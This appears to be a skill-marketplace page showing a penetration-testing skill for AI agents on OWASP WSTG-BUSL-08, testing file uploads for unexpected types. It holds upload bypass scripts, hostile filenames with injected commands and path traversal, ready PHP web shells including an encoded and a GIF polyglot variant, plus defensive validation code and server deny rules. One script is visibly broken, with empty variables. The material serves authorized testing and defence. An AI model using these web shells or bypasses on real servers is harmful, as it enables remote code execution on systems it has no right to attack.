Codex 또는 Claude로 설치 이 Prompt를 복사해 Codex, Claude 또는 다른 어시스턴트에 붙여 넣으면 Skill 페이지를 검토하고 설치를 진행할 수 있습니다.
직접 명령은 검토 Prompt를 거치지 않습니다. 실행하기 전에 소스를 확인하세요.
npx skills add https://github.com/CyberStrikeus/CyberStrike --skill wstg-busl-08명령은 한 줄로 유지됩니다. 복사하기 전에 가로로 스크롤해 전체 내용을 확인하세요.
로컬 사본을 원하시나요? SkillsMP에서 현재 제공할 수 있는 파일을 다운로드하세요.
SOC 직업 분류 기준
SKILL.md 표시 중
| name | wstg-busl-08 |
| description | Test Upload of Unexpected File Types |
| category | business-logic |
| owasp_id | WSTG-BUSL-08 |
| version | 1.0.0 |
| author | cyberstrike-official |
| tags | ["business-logic","workflow","abuse","wstg","busl"] |
| tech_stack | [] |
| cwe_ids | ["CWE-840"] |
| chains_with | [] |
| prerequisites | [] |
| severity_boost | {} |
WSTG-BUSL-08
Test Upload of Unexpected File Types
File upload functionality is a common attack vector where attackers attempt to upload malicious files that can lead to remote code execution, denial of service, or information disclosure. This test examines whether the application properly validates uploaded files and rejects unexpected or dangerous file types. Proper file upload validation should check file extensions, MIME types, and file content signatures.
| Category | Extensions |
|---|---|
| Web shells | .php, .asp, .aspx, .jsp, .jspx |
| Scripts | .sh, .bash, .ps1, .bat, .cmd |
| Executables | .exe, .dll, .so, .elf |
| Archives | .zip, .tar, .gz (may contain malicious files) |
| Office macros | .docm, .xlsm, .pptm |
# Find upload endpoints
curl -s "https://target.com/api/upload" -X OPTIONS
# Check for file upload forms
curl -s "https://target.com" | grep -i "file\|upload\|input.*type=.file"
# Common upload endpoints
/api/upload
/api/files
/api/images
/api/documents
/upload
/attachments
/media/upload
#!/bin/bash
# Test various extension bypass techniques
TARGET=
TOKEN=
> shell.php
extensions=(
)
ext ;
shell.php
response=$(curl -s -X POST \
-H \
-F )
#!/bin/bash
# Test MIME type bypass
# PHP shell disguised as image
echo '<?php echo "Test"; ?>' > shell.php
# Upload with different MIME types
mime_types=(
"image/jpeg"
"image/png"
"image/gif"
"application/octet-stream"
"text/plain"
)
for mime in "${mime_types[@]}"; do
response=$(curl -s -X POST "https://target.com/api/upload" \
-H "Authorization: Bearer $TOKEN" \
-F "file=@shell.php;type=$mime")
echo "MIME $mime: $response"
done
# Test double extension bypass
extensions=(
"test.php.jpg"
"test.php.png"
"test.jpg.php"
"test.php.gif"
"test.php%00.jpg"
"test.php;.jpg"
"test.php/jpg"
)
for filename in "${extensions[@]}"; do
echo '<?php echo "Test"; ?>' > "$filename"
response=$(curl -s -X POST "https://target.com/api/upload" \
-H "Authorization: Bearer $TOKEN" \
-F "file=@$filename")
echo "$filename: $response"
rm "$filename" 2>/dev/null
done
# Create file with image magic bytes + PHP code
# GIF header + PHP
printf 'GIF89a\n<?php echo "Test"; ?>' > shell.gif.php
# PNG header + PHP
printf '\x89PNG\r\n\x1a\n<?php echo "Test"; ?>' > shell.png.php
# JPEG header + PHP
printf '\xFF\xD8\xFF\xE0<?php echo "Test"; ?>' > shell.jpg.php
# Test uploads
for file in shell.gif.php shell.png.php shell.jpg.php; do
response=$(curl -s -X POST "https://target.com/api/upload" \
-H "Authorization: Bearer $TOKEN" \
-F "file=@$file")
echo "$file: $response"
done
# Test file size limits
# Create large file
dd if=/dev/zero of=large_file.jpg bs=1M count=100 2>/dev/null
response=$(curl -s -X POST "https://target.com/api/upload" \
-H "Authorization: Bearer $TOKEN" \
-F "file=@large_file.jpg")
echo "100MB file: $response"
# Test size in request header manipulation
curl -s -X POST "https://target.com/api/upload" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Length: 1000" \
-F "file=@large_file.jpg"
rm large_file.jpg
# Test malicious filenames
filenames=(
"../../../etc/passwd"
"..\\..\\..\\windows\\system32\\config\\sam"
"test<script>.jpg"
"test\"; rm -rf /*.jpg"
"test\`id\`.jpg"
"test|whoami.jpg"
"CON.jpg"
"NUL.jpg"
"test\x00.jpg"
)
touch test.jpg
for name in "${filenames[@]}"; do
response=$(curl -s -X POST "https://target.com/api/upload" \
-H "Authorization: Bearer $TOKEN" \
-F "file=@test.jpg;filename=$name")
echo "Filename '$name': $response"
done
| Tool | Description | Usage |
|---|---|---|
| Burp Suite | Request manipulation | Modify upload requests |
| curl | CLI HTTP client | Upload testing |
| exiftool | Metadata manipulation | Add payloads to metadata |
| Tool | Description |
|---|---|
| msfvenom | Shell generation |
| weevely | PHP agent generator |
| p0wny-shell | PHP web shell |
// Basic shell
<?php system($_GET['cmd']); ?>
// Encoded shell
<?php eval(base64_decode('c3lzdGVtKCRfR0VUWydjbWQnXSk7')); ?>
// Image polyglot (GIF89a + PHP)
GIF89a
<?php
if(isset($_REQUEST['cmd'])){
$cmd = $_REQUEST['cmd'];
system($cmd);
}
?>
// .htaccess override (if uploadable)
AddType application/x-httpd-php .jpg
// Short tags
<?=`$_GET[0]`?>
#!/usr/bin/env python3
import requests
import os
class FileUploadTester:
def __init__(self, upload_url, token):
self.url = upload_url
self.headers = {"Authorization": f"Bearer {token}"}
self.results = []
def test_extension(self, content, extension, mime_type="application/octet-stream"):
"""Test file with specific extension"""
files = {
'file': (f'test.{extension}', content, mime_type)
}
try:
response = requests.post(
self.url,
headers=self.headers,
files=files
)
return {
"extension": extension,
"mime": mime_type,
"status": response.status_code,
"accepted": response.status_code in [200, 201],
"response": response.text[:200]
}
except Exception as e:
return {"extension": extension, "error": str(e)}
def test_all_extensions(self):
"""Test dangerous extensions"""
php_content = b'<?php echo "test"; ?>'
dangerous_extensions = [
# PHP variants
("php", "application/x-php"),
("php3", "application/x-php"),
("php4", "application/x-php"),
("php5", "application/x-php"),
("phtml", "application/x-php"),
("phar", "application/x-php"),
# ASP/ASPX
("asp", "text/asp"),
("aspx", "text/aspx"),
# JSP
("jsp", "text/x-jsp"),
("jspx", "text/x-jspx"),
# Scripts
("sh", "application/x-sh"),
("py", "text/x-python"),
# Executables
("exe", "application/x-msdownload"),
]
for ext, mime in dangerous_extensions:
result = self.test_extension(php_content, ext, mime)
self.results.append(result)
if result.get("accepted"):
print(f"[VULN] Accepted: {ext} ({mime})")
def test_bypass_techniques(self):
"""Test extension bypass techniques"""
php_content = b'<?php echo "test"; ?>'
bypass_tests = [
("php.jpg", "image/jpeg"),
("php.png", "image/png"),
("jpg.php", "image/jpeg"),
("php%00.jpg", "image/jpeg"),
("php::$DATA", "application/octet-stream"),
("PhP", "application/x-php"),
("php ", "application/x-php"),
("php.", "application/x-php"),
]
print("\n=== Bypass Techniques ===")
for ext, mime in bypass_tests:
result = self.test_extension(php_content, ext, mime)
self.results.append(result)
status = "[VULN]" if result.get("accepted") else "[BLOCKED]"
print(f"{status} {ext} ({mime})")
def test_magic_bytes_bypass(self):
"""Test bypassing with magic bytes"""
# GIF with PHP
gif_php = b'GIF89a\n<?php echo "test"; ?>'
# PNG with PHP
png_php = b'\x89PNG\r\n\x1a\n<?php echo "test"; ?>'
# JPEG with PHP
jpg_php = b'\xFF\xD8\xFF\xE0<?php echo "test"; ?>'
tests = [
(gif_php, "shell.gif", "image/gif"),
(gif_php, "shell.gif.php", "image/gif"),
(png_php, "shell.png", "image/png"),
(png_php, "shell.png.php", "image/png"),
(jpg_php, "shell.jpg", "image/jpeg"),
(jpg_php, "shell.jpg.php", "image/jpeg"),
]
print("\n=== Magic Bytes Bypass ===")
for content, filename, mime in tests:
files = {'file': (filename, content, mime)}
response = requests.post(self.url, headers=self.headers, files=files)
status = "[VULN]" if response.status_code in [200, 201] else "[BLOCKED]"
print(f"{status} {filename}: {response.status_code}")
def generate_report(self):
"""Generate test report"""
print("\n=== FILE UPLOAD TEST REPORT ===")
accepted = [r for r in self.results if r.get("accepted")]
blocked = [r for r in self.results if not r.get("accepted")]
print(f"\nTotal tests: {len(self.results)}")
print(f"Accepted (potential vulnerabilities): {len(accepted)}")
print(f"Blocked: {len(blocked)}")
if accepted:
print("\n--- VULNERABILITIES ---")
for r in accepted:
print(f" Extension: {r['extension']}, MIME: {r.get('mime', 'N/A')}")
# Usage
tester = FileUploadTester("https://target.com/api/upload", "auth_token")
tester.test_all_extensions()
tester.test_bypass_techniques()
tester.test_magic_bytes_bypass()
tester.generate_report()
import os
ALLOWED_EXTENSIONS = {'png', 'jpg', 'jpeg', 'gif', 'pdf', 'doc', 'docx'}
def validate_extension(filename):
"""Validate file extension using whitelist"""
if not filename or '.' not in filename:
return False
# Get actual extension (handle double extensions)
ext = filename.rsplit('.', 1)[1].lower()
return ext in ALLOWED_EXTENSIONS
def secure_filename(filename):
"""Generate secure filename"""
import uuid
import re
# Remove path separators
filename = os.path.basename(filename)
# Remove dangerous characters
filename = re.sub(r'[^\w\s\-\.]', '', filename)
# Generate unique name
ext = filename.rsplit('.', 1)[1].lower() if '.' in filename else ''
new_name = f"{uuid.uuid4().hex}.{ext}" if ext else uuid.uuid4().hex
return new_name
import magic
ALLOWED_MIMES = {
'image/jpeg',
'image/png',
'image/gif',
'application/pdf'
}
def validate_file_content(file_data):
"""Validate file using magic numbers"""
mime = magic.Magic(mime=True)
detected_type = mime.from_buffer(file_data[:2048])
return detected_type in ALLOWED_MIMES, detected_type
import os
import uuid
import magic
import hashlib
from PIL import Image
from io import BytesIO
class SecureUploader:
ALLOWED_EXTENSIONS = {'png', 'jpg', 'jpeg', 'gif'}
ALLOWED_MIMES = {'image/jpeg', 'image/png', 'image/gif'}
MAX_SIZE = 5 * 1024 * 1024 # 5MB
def __init__(self, upload_dir):
self.upload_dir = upload_dir
def validate_and_save(self, file_data, original_filename):
"""Comprehensive file validation and save"""
# 1. Size check
if len(file_data) > self.MAX_SIZE:
raise ValueError("File too large")
# 2. Extension check
ext = original_filename.rsplit('.', 1)[1].lower() if '.' in original_filename else ''
if ext not in self.ALLOWED_EXTENSIONS:
raise ValueError("Extension not allowed")
# 3. Magic number check
mime = magic.Magic(mime=True)
detected_mime = mime.from_buffer(file_data[:2048])
if detected_mime not in self.ALLOWED_MIMES:
raise ValueError(f"File type not allowed: {detected_mime}")
# 4. For images, validate it's actually an image
if detected_mime.startswith('image/'):
try:
img = Image.open(BytesIO(file_data))
img.verify() # Verify it's a valid image
except Exception:
raise ValueError("Invalid image file")
# 5. Generate secure filename
file_hash = hashlib.sha256(file_data).hexdigest()[:16]
secure_name = f"{uuid.uuid4().hex}_{file_hash}.{ext}"
# 6. Save to upload directory (outside web root ideally)
save_path = os.path.join(self.upload_dir, secure_name)
# Ensure path traversal not possible
if not os.path.abspath(save_path).startswith(os.path.abspath(self.upload_dir)):
raise ValueError("Invalid path")
with open(save_path, 'wb') as f:
f.write(file_data)
return secure_name
# Nginx - Disable script execution in upload directory
location /uploads {
location ~ \.php$ {
deny all;
}
# Add more patterns as needed
location ~ \.(aspx?|jsp|jspx|sh|py|pl|cgi)$ {
deny all;
}
}
# Apache - Disable script execution
<Directory "/var/www/html/uploads">
# Disable PHP
php_flag engine off
# Remove handlers
RemoveHandler .php .phtml .php3 .php4 .php5 .phps
# Force download
ForceType application/octet-stream
Header set Content-Disposition attachment
</Directory>
| Finding | CVSS | Severity |
|---|---|---|
| Web shell upload (RCE) | 9.8 | Critical |
| Executable upload | 9.8 | Critical |
| Path traversal via filename | 7.5 | High |
| No file type validation | 8.8 | High |
| Size limit bypass | 5.3 | Medium |
| CWE ID | Title | Description |
|---|---|---|
| CWE-434 | Unrestricted Upload of File with Dangerous Type | Web shell upload |
| CWE-20 | Improper Input Validation | Missing file validation |
| CWE-79 | Cross-site Scripting | HTML/SVG file upload |
[ ] File upload endpoints identified
[ ] Extension whitelist tested
[ ] Extension bypass tested (double ext, null byte)
[ ] MIME type manipulation tested
[ ] Magic bytes bypass tested
[ ] File size limits tested
[ ] Filename sanitization tested
[ ] Path traversal via filename tested
[ ] Upload directory permissions checked
[ ] Server-side execution prevention verified
[ ] Findings documented
[ ] Remediation recommendations provided